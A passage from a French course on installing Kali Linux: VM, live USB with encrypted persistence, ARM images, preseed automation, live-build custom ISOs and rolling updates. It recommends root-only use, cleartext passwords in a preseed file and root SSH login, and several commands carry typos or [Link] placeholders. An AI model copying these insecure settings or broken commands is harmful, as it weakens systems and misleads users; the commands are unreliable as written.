ne correspond pas il faut arrêter immédiatement le processus de chargement et bien
vérifier que l’on se trouve sur un site ou un miroir officiel de récupération de Kali
Linux.
Afin de disposer d’une station de tests d’intrusion, il suffit de connecter l’image ISO sur
l’hyperviseur (qu’il s’agisse de VMware ou VirtualBox). Ainsi, au démarrage de celle-ci
on devrait visualiser la fenêtre suivante :

On peut alors sélectionner l’option d’installation souhaitée. Dans l’exemple présent, on


désire effectuer des tests de pénétration. Il faut donc installer physiquement la
distribution Kali Linux sur notre machine virtuelle. Ensuite, l’assistant propose de
sélectionner respectivement :

▪ Le langage à l’installation
▪ La situation géographique
▪ Le clavier
Puis le programme d’installation va récupérer les composants d’installation depuis le
lecteur CD-ROM :
En fonction des interfaces réseau sélectionnées, on a alors la possibilité de configurer le
réseau en sélectionnant l’interface principale :
Comme on peut le constater sur la seconde capture, dès que l’assistant détecte une erreur,
il propose à l’utilisateur de configurer soi-même le réseau. Ainsi, on devrait pouvoir
fournir les éléments standards :

▪ Adresse IP
▪ Masque de réseau
▪ Passerelle
Ensuite, on peut fournir les adresses IP des différents serveurs de noms BIND/DNS en les
séparant par un espace. On peut ainsi sélectionner trois adresses distinctes :
L’utilisateur peut alors fournir à sa machine virtuelle un nom particulier et préciser un
domaine d’appartenance:

A ce stade, l’assistant propose de préciser quel sera le mot de passe du super-utilisateur


root :
REMARQUE : Kali Linux est une distribution de tests d’intrusion mais aussi d’analyse
informatique légale. Aussi, il est nécessaire d’avoir le moins de comptes possible. C’est
pourquoi, généralement on ne créé qu’un seul compte utilisateur qui n’est autre que root.
On doit alors sélectionner le mode de partitionnement. Le plus sécurisé étant de choisir
un partitionnement assisté et chiffré :
Après avoir sélectionné le disque et la taille de l’espace à occuper, on peut également
choisir de répartir de façon séparée les partitions standards :

▪ /home
▪ /var
▪ /tmp
L’assistant propose alors de réaliser les modifications de découpage demandées par
l’utilisateur précédemment et de configurer LVM :
L’opération de partitionnement va alors démarrer et on peut suivre son évolution au
travers de l’écran ci-dessous :
Comme nous optons pour un chiffrement des partitions, il nous faut également choisir une
phrase secrète (aussi appelée passphrase) qui nous sera systématiquement demandée
lors de l’ouverture du système d’exploitation :
REMARQUE : ensuite, nous pouvons au choix, utiliser l’intégralité de l’espace disque
allouée (en mentionnant la taille totale) ou opter pour une portion de l’espace disque (en
précisant quel pourcentage : 20%, 40%...).
A ce stade, l’assistant propose un écran récapitulatif de découpage et de partitionnement.
Si l’on est d’accord avec celui-ci, on peut alors continuer l’installation. Il nous est d’ailleurs
rappelé qu’en poursuivant, le contenu des partitions sera totalement écrasé :
Ensuite, l’assistant commence le partitionnement ainsi que la copie des données sur le
disque. Une barre de progression permet de suivre l’évolution de cette opération :
Afin de permettre la mise à jour continue de la plateforme Kali Linux, il est fortement
conseillé d’utiliser un miroir. C’est pourquoi, on doit cocher la case présentée ci-dessous :
Il nous sera alors demandé de préciser l’adresse URL de ce miroir, sous la
forme [Link] Puis, après cela, le programme d’installation installe et
configurer le chargeur au démarrage (ou bootloader).
Comme nous effectuons une installation physique, on a la possibilité de choisir le disque
sur lequel on installe GRUB :
Ceci termine alors la phase d’installation de l’image ISO Kali Linux sur une station
physique. L’opération se termine alors par la génération de l’image initramfs :
On est alors invité à déconnecter l’image ISO pour pouvoir redémarrer la nouvelle
machine :
L’assistant fait alors du ménage et supprime les packages inutiles appartenant à la version
Live-CD. Au redémarrage, on dispose alors de l’écran standard d’ouverture de session :
Bien évidemment, comme les partitions système sont chiffrées il nous est demandé de
fournir la phrase secrète d’ouverture de session :

Si cette phrase secrète est la bonne, on devrait alors rapidement visualiser l’écran de
connexion et d’ouverture de session utilisateur décrite ci-dessous :
Kali Linux est désormais installé, il ne reste plus qu'à l'utiliser mais avant cela nous avons
encore des choses à voir sur les méthodes d'installation.

Kali Linux en mode Live-CD


Ce mode de fonctionnement suppose que l’on souhaite effectuer non plus des tests
d’intrusion mais plutôt essayer d’analyser, à posteriori, une machine ayant subi un crash.
Cela implique alors que le système d’exploitation de la machine existe déjà et que celle-ci
ayant subi des dommages, a été éteinte. Il est donc nécessaire de disposer de Kali Linux
sous une forme indépendante de la machine physique, c’est-à-dire sur une clé USB.

Créer une clé USB Kali Linux bootable, dans un environnement Linux est relativement
simple. En effet, l’environnement du bureau Gnome, installé dans de nombreuses
distributions Linux, est livré avec un utilitaire de disques (appartenant au package
gnome-disk-utility qui est également présent dans le format de l’image Kali Linux). Ce
programme affiche la liste des disques actifs, et la rafraîchit systématiquement dès que
l’on branche ou débranche un nouveau volume. En sélectionnant la clé USB vue depuis la
liste de disques, les informations détaillées apparaissent alors et permettent de choisir le
disque sur lequel on souhaite déposer la partition bootable :
REMARQUE : l’image ISO de Kali Linux à déposer sur la clé USB est généralement
apparentée à une image légère (moins de 1Gio). Elle s’appelle d’ailleurs kali-linux-light-
[Link] et il en existe une version pour architecture ARM.
Il suffit alors de cliquer sur le bouton "menu" pointé ci-dessus et d’y sélectionner l’option
"Restore Disk Image" dans la liste de menu proposée. On peut alors choisir l’image ISO
précédemment téléchargée et cliquer sur le bouton "Start Restoring" ci-dessous :

Même si l’utilitaire graphique est très pratique, l’opération de création d’une clé USB est
aussi simple qu’une simple commande.

En effet, lorsque l’on insère la clé USB, le noyau linux la détecte, lui assigne un nom qui est
alors détaillé dans les traces du noyau que l’on peut inspecter au travers des logs via la
commande dmesg :
Dans l’exemple ci-dessus, on découvre que la clé USB est accessible en tant que /dev/sdb.
On peut alors effectuer la copie de l’image grâce à la commande suivante et rendre la clé
bootable:
# dd if=[Link] of=/dev/sdb bs=512k

ATTENTION : on a besoin de disposer des droits root pour effectuer ce genre d’opération.
De plus, on peut également générer ou graver un DVD à partir de l’image ISO légère
précédemment téléchargée.
Quel que soit le médium utilisé, il faut aussi penser à modifier le BIOS/UEFI qui est
responsable du processus de démarrage afin de prendre en compte le fait que l’on va
démarrer en priorité non plus ce qui sera trouvé sur le disque physique, mais la clé USB
ou le CD-ROM détecté.

Pour accéder au menu de démarrage du BIOS, il faut généralement, dès l’ouverture de


l’ordinateur, presser une touche : Del, Esc, F2 ou F10. Le choix à faire est affiché
brièvement à l’écran à l’initialisation du système. Sur une machine virtuelle, il faut ouvrir
le menu du démarrage et faire en sorte qu’au reboot suivant la machine ouvre
automatiquement le menu du BIOS/UEFI :
Dès lors, l’insertion de la clé USB ou du CD dans le lecteur suffit à faire démarrer le système
et permettre de booter en mode Live-CD.

ATTENTION : Bien que l’image de Kali Linux supporte le démarrage en mode UEFI, il ne
supporte pas le démarrage sécurisé (aussi appelé secure boot). Il convient donc de le
désactiver au niveau du menu d’initialisation.
Le mode Live-CD de Kali Linux possède deux options présentes dans le menu de
démarrage par défaut :

▪ Le mode Live standard


▪ Le mode Live persistent
Ce dernier mode préserve les données du périphérique USB Kali Live après les
redémarrages de la distribution Kali Live. Cela s’avère précieux afin de préserver les
résultats de tests collectés, les configurations et autres documents, sur le périphérique
USB de la suite Kali Linux Live, et ce, même pour des systèmes d’exploitation différents.
Les données persistantes sont stockées dans leur partition propre sur la clé USB, qui peut
d’ailleurs aussi être chiffrée via LUKS.

Afin de pouvoir utiliser l’option de persistance USB lors de la phase de démarrage, il est
nécessaire d’ajouter une configuration supplémentaire sur le périphérique USB Kali Linux
Live.
REMARQUE : on suppose que l’on a déjà créé la clé USB avec l’image Kali Linux dessus. La
clé est reconnue en tant que /dev/sdb. De plus, on doit être root pour pouvoir effectuer
les manipulations et la clé dispose d’une capacité d’au moins 8Gio.
Ainsi, nous allons créer une nouvelle partition de stockage pour y déposer les données
persistantes dessus. Celle-ci commence juste après la seconde partition de Kali Live et se
termine à 7 Gio. Il s’agit d’une partition ext4 dans laquelle on va créer un
fichier [Link]. Sur notre clé USB, on devrait alors disposer de deux partitions (on
peut le vérifier à l’aide de la commande fdisk –l):
▪ /dev/sdb1
▪ /dev/sdb2
Sur cette même clé, on va donc créer une nouvelle partition, sur l’espace disponible de la
clé USB via les commandes suivantes :
# end=7gb

# read start _ < <(du –bcm [Link] | tail -1);


echo $start

# parted /dev/sdb mkpart primary $start $end

On notera que la commande parted peut avertir l’utilisateur qu’il ne peut utiliser les
valeurs exactes de démarrage que l’on a précisé. Si c’est le cas on doit alors accepter en
lieu et place, la valeur suggérée. De plus, si le message stipule que la partition n’est pas
positionnée à un emplacement optimal, on peut l’ignorer. Lorsque l’exécution de parted
est terminée, la nouvelle partition aura été générée et devra alors s’appeler /dev/sdb3.
Là encore, on peut s’en assurer en exécutant la commande suivante :
# fdik -l

L’étape suivante consiste à typer la nouvelle partition en créant un système de fichiers de


type ext4 et en le labellisant en "persistence" :
# mkfs.ext4 –L persistence /dev/sdb3

# e2label /dev/sdb3 persistence

On peut alors créer un point de montage afin de présenter le nouveau système de fichiers
et d’y créer le fichier [Link] selon la méthode suivante :
# mkdir –p /mnt/media

# mount /dev/sdb3 /mnt/media

# echo "/ union" > /mnt/media/[Link]

# umount /dev/sdb3

REMARQUE : si l’on souhaite chiffrer cette partition à l’aide de LUKS, il suffit d’initialiser
le chiffrement LUKS (juste après la création de la nouvelle partition):
# cryptsetup --verbose --verify-passphrase luksFormat /dev/sdb3
# cryptsetup luksOpen /dev/sdb3 media

A la fin il faut juste fermer le canal de chiffrement de la partition persistante :


# cryptsetup luksClose /dev/mapper/media

ATTENTION : on notera qu’au lieu de /dev/sdb3, lors de la création du point de montage


pour le montage et démontage, on doit passer par l’utilisation du mapper :
# mkdir –p /mnt/media

# mount /dev/mapper/media /mnt/media

# echo "/ union" > /mnt/media/[Link]

# umount /dev/mapper/media

Voilà pour ce qui est de l'utilisation du Live-CD. Il nous reste à voir l'utilisation de Kali
Linux sur une architecture ARM.

Installation de Kali Linux pour ARM


Il est possible d’exécuter Kali Linux pour une grande variété de périphériques de
type ARM, qu’il s’agisse de portables, d’ordinateurs embarqués, de cartes de
développeurs, par exemple).
Toutefois, on ne peut se permettre d’utiliser l’image classique de Kali Linux pour effectuer
une installation sur ce type de matériel qui requièrent une configuration spécifique en
matière de noyau ou de chargement au démarrage. Afin de rendre ces équipements
accessibles aux utilisateurs de Kali, le site Offensive Security a développé des scripts,
permettant de construire des images disque prêt à l’utilisation pour ce type de
périphériques ARM. On peut donc bénéficier de ces images en les téléchargeant
directement depuis le site [Link].
Du fait de la préparation de ces images disponibles, notre tâche d’installation de
Kali Linux sur des périphériques ARM est grandement facilitée. Il suffit de télécharger
l’image idoine correspondant au périphérique souhaité.
REMARQUE : les images sont fournies au format compressé en mode LZMA. Elles
possèdent donc l’extension .xz. Il convient donc de les décompresser à l’aide de l’utilitaire
unxz. Par ailleurs, selon l’occupation de stockage disponible sur le périphérique ARM, on
doit disposer d’une carte SD, d’une carte microSD ou d’un module eMMC d’une capacité
minimum de 8 Gio.
On peut alors copier l’image téléchargée sur le périphérique de stockage via la commande
dd. Cela est équivalent au processus de copie d’une image ISO sur une clé USB vu
précédemment :
# dd if=[Link] of=/dev/xxxx bs=512k

REMARQUE : le processus de génération d’image via dd supprime toutes les données de


la carte SD (ou eMMC). Il faut donc ne pas se tromper de média lors de la sélection, sinon
on risque de vider les données du stockage principal.
Il ne reste plus qu’à connecter notre carte SD ou eMMC, sur le périphérique ARM, et
redémarrer ce dernier afin de s’y connecter via l’utilisateur root (dont le mot de passe par
défaut est alors "toor"). Lorsque l’on n’a pas d’écran de connexion, on peut alors se dire
que l’adresse IP a été attribuée via le protocole DHCP. On doit alors tenter de s’y connecter
en SSH. Certains serveurs DHCP disposent d’outils permettant de visualiser les baux
courants des clients DHCP. Si l’on ne possède pas de tels outils on peut utiliser un
analyseur (aussi appelé sniffer) afin de scruter le trafic d’échange des baux DHCP.

Il est conseillé de changer le mot de passe par défaut du compte root et de générer une clé
d’hôte SSH, surtout si le périphérique doit fonctionner sur un réseau public en
permanence. Normalement, c’est tout. Le périphérique fonctionne alors en mode Kali
Linux.
ATTENTION : certains périphériques ARM nécessitent de basculer en
mode developer alors que d’autres nécessite l’utilisation de touches spéciales afin de
pouvoir démarrer depuis un média externe. Afin de vérifier que votre périphérique n’est
pas dans ce cas d’exception, il est conseillé de consulter la section "Kali on ARM" sur la
documentation du site [Link].

Installation de Kali Linux en preseed


Les programmes d’installation Debian et Kali Linux sont très modulaires. De façon
basique, ils exécutent les scripts qu’on leur fournit les uns après les autres. Chacun
de ces scripts font référence à debconf qui interagit avec l’utilisateur afin de stocker les
paramètres d’installation. De ce fait, l’installeur peut être automatisé au travers du
mécanisme standard preseed de debconf, fonction qui fournit des réponses systématiques
aux questions posées lors de la phase d’installation.
RAPPEL : preseed permet d’automatiser les questions posées par DebianInstaller en
remplissant les réponses au sein de la base de données debconf.
Il existe de multiples façons de prédéfinir les réponses à l’intention du programme
d’installation. Chaque méthode a ses avantages et ses inconvénients. La façon dont
l’opération de preseed se fait détermine les questions présentées :

▪ avec des paramètres de boot


▪ avec un fichier preseed dans l’image initrd
▪ avec un fichier preseed intégré au démarrage du media
▪ avec un fichier preseed chargé depuis le réseau
Dans ce dernier cas, il suffit de préparer le fichier preseed et de le présenter à l’installeur
via un serveur web en ajoutant le paramètre de
démarrage : preseed/url=[Link] (ou en utilisant un alias).
ATTENTION : en, utilisant cette méthode, le réseau doit alors être configuré en premier.
Cela signifie que les questions relatives au réseau pour debconf (nom d’hôte et nom de
domaine, langage et pays) ne peuvent être paramétrées via preseed.
Dans le cas de l’intégration du fchier preseed à l’image ISO, il faut préparer celle-ci et la
reconstituer pour ajouter le fichier au bon emplacement : /cdrom/[Link]. Le plus
simple est encore d’intégrer ce fichier à l’image initrd en décompressant le fichier initrd et
en le modifiant pour ajouter le fichier preseed, puis recomposer l’image initrd.
Un fichier preseed est un fichier texte contenant sur chaque ligne les réponses aux
questions posées par l’agent debconf. Une ligne est découpée en quatre champs séparés
par des espaces ou des tabulations :
▪ le premier champ indique le propriétaire de la question (d-i pour installer).
▪ le second champ contient l’identifiant de la question posée.
▪ le troisième champ liste le type de la question.
▪ le quatrième champ contient la valeur de la réponse souhaitée.
REMARQUE : le quatrième champ doit être séparé du précédent avec un espace simple.
Tout caractère additionnel est considéré comme faisant partie de la valeur.
La façon la plus simple de constituer un fichier preseed est d’installer le système une
première fois manuellement. Puis, la commande ci-dessous fournit alors les réponses à
fournir à l’installeur :
# debconf -get-selections --installer

On peut obtenir des réponses des autres packages que l’installeur, en utilisant
l’option debconf-get-selections. Maintenant, une solution alternative plus sûre consiste à
rédiger le fichier preseed manuellement, en démarrant à l’aide d’un exemple préconçu et
en consultant la documentation Debian. En pratiquant ainsi, seules les questions où les
réponses par défaut ont besoin d’être surchargées peuvent être présélectionnées.
En fournissant l’option priority=critical boot on précise alors à debconf de ne tenir
compte que des questions critiques et d’utiliser les réponses par défaut pour les autres.
Exemple : fichier preseed :
### Localization

# Preseeding only locale sets language, country and locale.


# The values can also be preseeded individually for greater flexibility.

d-i debian-installer/language string en


d-i debian-installer/country string DE
d-i debian-installer/locale string en_US.UTF-8

# Keyboard selection.

d-i console-keymaps-at/keymap select fr


d-i keyboard-configuration/xkb-keymap select fr

# netcfg will choose an interface that has link if possible. This makes
it
# skip displaying a list if there is more than one interface.

d-i netcfg/choose_interface select auto

# Any hostname and domain names assigned from dhcp take precedence over
# values set here. However, setting the values still prevents the
questions
# from being shown, even if values come from dhcp.

d-i netcfg/get_hostname string unassigned-hostname


d-i netcfg/get_domain string unassigned-domain

# Disable that annoying WEP key dialog.

d-i netcfg/wireless_wep string

### Mirror settings

# If you select ftp, the mirror/country string does not need to be set.

d-i mirror/country string manual


d-i mirror/http/hostname string [Link]
d-i mirror/http/directory string /debian/packages/
d-i mirror/http/proxy string

### Account setup

# Skip creation of a root account (normal user account will be able to


# use sudo).

d-i passwd/root-login boolean true

# Root password, either in clear text

d-i passwd/root-password password <Password>


d-i passwd/root-password-again password <Password>

# To create a normal user account.

d-i passwd/user-fullname string phil


d-i passwd/username string philpwd
# Normal user's password, either in clear text

d-i passwd/user-password password philpwd


d-i passwd/user-password-again password philpwd

### Clock and time zone setup


# Controls whether or not the hardware clock is set to UTC.

d-i clock-setup/utc boolean true

# You may set this to any valid setting for $TZ; see the contents of
# /usr/share/zoneinfo/ for valid values.

d-i time/zone string Europe/Paris

# Controls whether to use NTP to set the clock during the install

d-i clock-setup/ntp boolean true

# Alternatively, you may specify a disk to partition. If the system has


only
# one disk the installer will default to using that, but otherwise the
device
# name must be given in traditional, non-devfs format (so e.g. /dev/hda
or
# /dev/sda, and not e.g. /dev/discs/disc0/disc).
# For example, to use the first SCSI/SATA hard disk:
#d-i partman-auto/disk string /dev/sda
# In addition, you'll need to specify the method to use.
# The presently available methods are:
# - regular: use the usual partition types for your architecture
# - lvm: use LVM to partition the disk
# - crypto: use LVM within an encrypted partition

d-i partman-auto/method string regular

# If one of the disks that are going to be automatically partitioned


# contains an old LVM configuration, the user will normally receive a
# warning. This can be preseeded away...

d-i partman-lvm/device_remove_lvm boolean true

# The same applies to pre-existing software RAID array:

d-i partman-md/device_remove_md boolean true

# And the same goes for the confirmation to write the lvm partitions.

d-i partman-lvm/confirm boolean true

# You can choose one of the three predefined partitioning recipes:


# - atomic: all files in one partition
# - home: separate /home partition
# - multi: separate /home, /usr, /var, and /tmp partitions

d-i partman-auto/choose_recipe select atomic


# This makes partman automatically partition without confirmation,
provided
# that you told it what to do using one of the methods above.

d-i partman-partitioning/confirm_write_new_label boolean true


d-i partman/choose_partition select finish
d-i partman/confirm boolean true
d-i partman/confirm_nooverwrite boolean true

# This makes partman automatically partition without confirmation.

d-i partman-md/confirm boolean true


d-i partman-partitioning/confirm_write_new_label boolean true
d-i partman/choose_partition select finish
d-i partman/confirm boolean true
d-i partman/confirm_nooverwrite boolean true

### Package selection

tasksel tasksel/first multiselect standard, ssh-server

# Individual additional packages to install


#d-i pkgsel/include string openssh-server build-essential
# Whether to upgrade packages after debootstrap.
# Allowed values: none, safe-upgrade, full-upgrade

d-i pkgsel/upgrade select safe-upgrade

# Some versions of the installer can report back on what software you
have
# installed, and what software you use. The default is not to report back,
# but sending reports helps the project determine what software is most
# popular and include it on CDs.

popularity-contest popularity-contest/participate boolean false

# Avoid that last message about the install being complete.

d-i finish-install/reboot_in_progress note

# This command is run just before the install finishes, but when there is
# still a usable /target directory. You can chroot to /target and use it
# directly, or use the apt-install and in-target commands to easily
install
# packages and run commands in the target system.

d-i preseed/late_command string apt-install puppet vim sudo tmux curl git
d-i grub-installer/only_debian boolean true
D'ailleurs, la modularité de Kali Linux n’a pratiquement aucune limite. En effet, on peut
facilement constituer sa propre image personnalisée de Kali Linux. Les images officielles
sont constituées à l’aide de live-build qui est un ensemble de scripts, autorisant la totale
automatisation et personnalisation de l’ensemble des pans de la création de l’image ISO
de Kali Linux. La suite live-build utilise une structure arborescente de répertoires en
entrée, afin de préparer la configuration. Cette dernière est stockée avec quelques scripts
additionnels d’aide dans un dépôt git. On utilise ce dépôt comme image personnalisée de
construction. Parmi ces images personnalisées les plus connues, on peut citer :
▪ [Link]
▪ [Link]
point/
▪ [Link]
En premier lieu il faut installer les packages nécessaires et extraire le dépôt git avec la
configuration live-build :
# apt install curl git live-build

# git clone git://[Link]/[Link]

# cd live-build-config

Puis, on peut d’ores et déjà créer et mettre à jour (sans modification quelconque) l’image
ISO Kali, uniquement en exécutant :
# ./[Link] --verbose

Lorsque cela est terminé on découvre alors une nouvelle image ISO dans le répertoire
images du répertoire de travail précédemment créé. Avec l’option --variant, il est possible
de configurer un gestionnaire de fenêtre différent de gnome :
# ./[Link] --variant kde --verbose

Lorsqu'on l’exécute, live-build installe les packages listés dans les fichiers *.[Link] du
répertoire package-lists. Or, la configuration par défaut dispose du
fichier [Link] au sein de ce même répertoire, ce qui décrit l’intégralité des
packages de la distribution kali-linux-full. Mais, il est possible de commenter l’utilisation
de ce méta-package afin d’en utiliser un autre de notre choix ou d’inclure une liste précise
de packages. On peut bien sûr combiner les deux approches en démarrant un méta-
package différent et en ajoutant des packages supplémentaires de notre choix.
Pour inclure des packages personnalisés, il faut le faire dans l’image en plaçant les fichiers
.deb dans le répertoire [Link]. Par exemple, pour personnaliser une image
gnome de Kali Linux, on devra positionner les packages personnalisés dans kali-
config/config-gnome/[Link].
Les méta-packages ne sont rien d’autres que des packages vides dont le seul rôle est de
définir les dépendances sur les autres packages. Cela permet alors d’installer des groupes
de packages que l’on désire installer ensemble. Le package source kali-meta construit
ainsi tous les méta-packages fournis par Kali Linux :

▪ kali-linux: le méta-package de base poussé par les autres méta-packages.


▪ kali-linux-full: le méta-package par défaut de l’installation Kali Linux.
▪ kali-linux-all: le méta-package de tous les méta-packages et des autres packages.
▪ kali-linux-sdr: les outils des ondes radio et du sans-fil.
▪ kali-linux-gpu: les outils concernant les plateformes GPU.
▪ kali-linux-wireless: les outils d’analyse et de gestion des plateformes sans-fil.
▪ kali-linux-web: les outils fondamentaux pour les applications web.
▪ kali-linux-forensic : les outils d’analyse informatique légale.
▪ kali-linux-voip : les outils pour les plateformes utilisant la voix sur IP.
▪ kali-linux-pwtools : les outils de crackage de mot de passe.
▪ kali-linux-rfid : les outils pour l’utilisation de RFID.
On peut alors composer avec ces méta-packages lorsque l’on créée une liste de package
personnalisée pour live-build. La liste complète des méta-packages est disponible sur
l’adresse web [Link].

Créer une image de Kali Linux


personnalisée
Comme nombre de distributions Debian, Kali Linux permet de générer une image ISO
personnalisée en utilisant les scripts Debian live-build dont un exemple est décrit ci-
dessous :

La méthode la plus facile consiste à générer l’image en question, à l’intérieur du système


Kali Linux. Pour cela, on va devoir installer les paquets suivants :
# apt-get install git live-build cdebootstrap
Ensuite, on peut cloner l’image Kali depuis le référentiel Github en procédant selon les
directives suivantes :
# git clone [Link]

Maintenant, on peut se placer dans le répertoire live sous le répertoire


principal [Link] et construire notre image ISO en exécutant les instructions
suivantes:
# cd live-build-config

> lb clean –purge

> lb config

> lb build

Dans le cas présent le script live-build permet une personnalisation complète du systeme.
On peut consulter la page wiki de personnalisation Kali Linux [Link]. On peut bien
sûr capter les instructions à passer pour la constitution de l’image ISO dans un script
appelé [Link]. Ainsi, nous aurons à exécuter les commandes ci-dessous :
# cd live-build-config/

# ./[Link]

REMARQUE : Ce script mettra un certain temps à s’exécuter car il doit télécharger


l’ensemble des packages nécessaires à la création de l’image ISO. La liste des packages se
trouve par défaut (environnement Gnome) dans le fichier [Link] du
répertoire kali-config/variant-gnome/package-lists/.
Afin de pouvoir installer des packages supplémentaires, on peut également les citer dans
le fichier config/[Link] en vérifiant tout de même que les dépendances sont
toujours satisfaites. Si l’on souhaite disposer d’un environnement de bureau différent de
Gnome, il suffit d’utiliser la commande de construction de l’image ISO en spécifiant
l’option --variant :
# ./[Link] --variant kde –verbose

Par exemple, pour image ISO 64 bits à partir de la distribution Debian standard, on devra
constituer le script [Link] suivant :
#!/bin/sh

lb config noauto

--architectures amd64

--linux-packages "linux-image"

--ignore-system-defaults

--bootappend-live "boot=live components autologin username=phil"


"${@}"

Je vous laisse poursuivre la lecture de ce cours avec le dernier chapitre de ce second


module, avant de passer à la pratique avec Kali Linux.

Kali Linux Rolling-up


Depuis 2016, une avancée majeure a été développée par l’équipe Kali : Kali Linux
rolling distribution. En effet, la distribution forensic a basculé sur un modèle de
développement "rolling" associant la stabilité de Debian aux meilleurs outils
récents de tests de pénétration créés et gérés par la communauté d’information de
sécurité.
Ce mode de fonctionnement s’appuie sur les cycles de développement de Debian, non plus
au travers des phases traditionnelles : Nouveau, Courant et Obsolète, concernant les
packages, mais en conservant une mise à jour continuelle grâce à la distribution Debian
Testing, lui assurant ainsi un flux constant de mises à jour des dernières versions des
packages.

Une notification système automatisée de mise à jour des dernières releases des outils de
tests de pénétration a été conçue dans le seul but, de maintenir les dernières versions
stables des outils de monitoring à jour. Aujourd'hui un délai minimum de 24 à 48 heures
sont nécessaires depuis l’apparition de la notification d’une nouvelle mise à jour jusqu’à
son packaging, son test et sa mise en œuvre au sein du référentiel de dépôt.
Il faut savoir qu’un programme appelé Package Tracker permet de suivre l’évolution de
Kali Linux tout en recevant des messages de mise à jour visualisable au travers d’une
interface web intuitive :

Preuve que la suite est vraiment réactive, au moment de l’écriture de ces lignes, je viens
de constater que la version Kali2019.4 (version rolling-up), est maintenant disponible.
Depuis la version Kali 2019.1, lancée le 18 février 2019, la nouvelle version de Metasploit
v5 a été intégrée. Je vous propose de nous arrêter un moment sur la façon de procéder à
une migration de ces nouvelles versions récentes de Kali Linux. Si vous ne possédez pas
encore une installation de Kali au préalable, je vous invite à suivre l’une des méthodes
d’installation décrites ci-dessus. Lors de l’installation de Kali Linux sur diverses
plateformes, il est même possible de poser des questions sur le forum. La procédure de
mise à jour de Kali vers les versions récentes reste très facile à réaliser. C’est ce que nous
allons voir maintenant.
On commence d’abord par s’assurer que l’on a configuré les bons dépôts (ou repositories)
dans le fichier [Link] du répertoire /etc/apt :
# cat /etc/apt/[Link]

deb [Link] kali-rolling main non-free contrib

Si la ligne ci-dessus s’affiche tel que, tout va bien. On peut procéder sans aucune autre
étape préalable à la mise à jour de notre distribution Kali en une seule commande
combinant “update“ et “upgrade“ :
# apt update && apt -y full-upgrade

# reboot

Il ne reste plus qu’à s’armer de patience, car en fonction de la bande passante de votre
connexion Internet et la charge du serveur, la mise à jour de Kali Linux peut s’avérer assez
longue. Lorsque l’opération de mise à jour est terminée, et que le système est revenu, on
peut vérifier la nouvelle version de la distribution, en exécutant la commande ci-dessous :
# cat /etc/os-release

Le résultat affiché devrait normalement nous fournir la preuve que l’opération s’est
correctement déroulée et que nous avons maintenant la bonne version de la distribution
Kali 2019.1 (ou plus récemment la version Kali 2019.3 ou 2019.4 nouvelle release mise à
disposition tout récemment le 26 novembre 2019) :

Afin de pousser la vérification un peu plus loin, on peut également interroger la version
du noyau ainsi que de la release en exécutant l’instruction suivante :
# uname -a

En retour, on devrait alors recevoir l’affichage ci-dessous :


REMARQUE : si cette dernière commande n’affiche pas le résultat escompté (à un savoir
au minimum, un noyau en 4.19.28 pour une distribution Kali 2019.2), c’est qu’il faut peut-
être redémarrer la machine Kali Linux pour qu’au redémarrage suivant, la nouvelle
version puisse être reconnue. La version du noyau linux pour les différentes versions et
leur gestionnaire d’affichage sont les suivants :
▪ Kali 2019.1 Gnome : 3.30.2 linux : 4.19.13
▪ Kali 2019.2 Gnome : 3.30.2 linux : 4.19.28
▪ Kali 2019.3 Gnome : 3.30.2 linux : 5.2.9
▪ Kali 2019.4 Xfce : 4.14.1 linux : 5.3.9
Le gestionnaire de connexion de Kali Linux 2019.4 change légèrement du fait du passage
de Gnome à Xfce. Toutefois, l’ensemble des informations contenu dans ce cours reste vrai
même si la forme change, le fond, quant à lui ne varie pas :

Une fois connecté on se retrouve sur une interface Xfce et le menu général est accessible
via l’icône au dragon : En cliquant sur cette icône on voit alors apparaître l’affichage ci-
dessous. Chaque rubrique regroupe l’intégralité des outils de leur catégorie : analyse de
vulnérabilités, applications web, attaques de mot de passe…
Force est de constater que cette nouvelle distribution est des plus complètes et favorise
l’étude et l’analyse des failles potentielles sur les différents domaines d’une infrastructure
informatique. Je vous laisse le soin de découvrir l’ensemble de ces outils. Certains,
comme scapy ne sont pas mentionnés. Mais, sachez qu’ils existent bel et bien au sein de
cette distribution.

Préparation de son laboratoire


pentesting
Comme nous venons de le souligner Kali Linux est une suite logicielle composée de
nombreux programmes et présentant ainsi une grande quantité de
fonctionnalités. Lorsque l’on ouvre le menu principal de notre station Kali Linux, nous
découvrons une liste de rubriques numérotés de 01 à 14, pouvant être utilisés selon les
besoins, et chacun avec ses propres outils :
De façon plus générale, on peut catégoriser ces rôles en fonctionnalités essentielles :

▪ Collecte d’information
▪ Évaluation de vulnérabilités
▪ Exploitation de vulnérabilités
▪ Escalade de privilèges
▪ Attaque de mots de passe
▪ Attaque sans-fil
REMARQUE : on notera également qu’il existe une rubrique appelée "Evaluation
Database", permettant, comme on peut le deviner, d’évaluer la solidité d’une base de
données qu’elle quelle soit.
Afin de s’y retrouver il est préférable de savoir à quelle rubrique appartient tel ou tel
programme et surtout ce que l’on souhaite entreprendre comme action. On peut
schématiser l’ensemble de ces fonctions comme suit :
Nous allons détailler maintenant quelques-uns des outils en spécifiant leurs
fonctionnalités et la façon de les utiliser. Puis, dans la mesure où certains outils
supplémentaires peuvent être utiles, nous verrons comment installer ceux-ci afin de
transformer la machine Kali Linux en laboratoire de tests d’intrusion. Par ailleurs, on
adaptera les tests en fonction des besoins et de l’utilité des informations à récupérer. Afin
d’illustrer cette deuxième partie, nous nous intéresserons aux deux suites que sont :
▪ Nessus
▪ OpenVAS

Opérations basiques sur Kali Linux


Avant de commencer à énumérer et décrire les différents outils présents sur la
distribution Kali Linux, il est essentiel de savoir ouvrir une fenêtre de terminal. Pour cela,
il faut ouvrir l’icône d’affichage des applications ci-dessous et descendre sur la dernière
vue afin de trouver l’icône Terminal :
En effet, plutôt que d’ouvrir les menus de Kali Linux au hasard, il vaut mieux utiliser la
ligne de commande, car c’est effectivement ainsi que l’on peut tirer toute la puissance de
la suite Kali Linux. Nous allons commencer par voir comment exploiter les vulnérabilités
pour mettre en avant les défaillances de nos infrastructures.

En effet, bien que les phases de récolte d’information et de reconnaissance soient souvent
plus importantes pour le succès d’une campagne de pentesting que la phase
d’exploitation, il y a plus d’intérêt à collecter des scripts shells, au travers d’une connexion
distante pour exploiter une cible, ou encore à tromper les utilisateurs en usant de leur
accréditation depuis un site web répliqué qu’à laisser un programme récupérer des
informations.
REMARQUE: pour se faciliter la tâche, nous allons modifier le fichier sshd_config et
autoriser la connexion du seul compte root en activant l’option suivante :
PermitRootLoogin yes

En effet, à priori, notre plateforme se doit d’être sécurisée au maximum et aussi


d’interdire les connexions distantes. Toutefois, pour paramétrer Kali Linux et réaliser nos
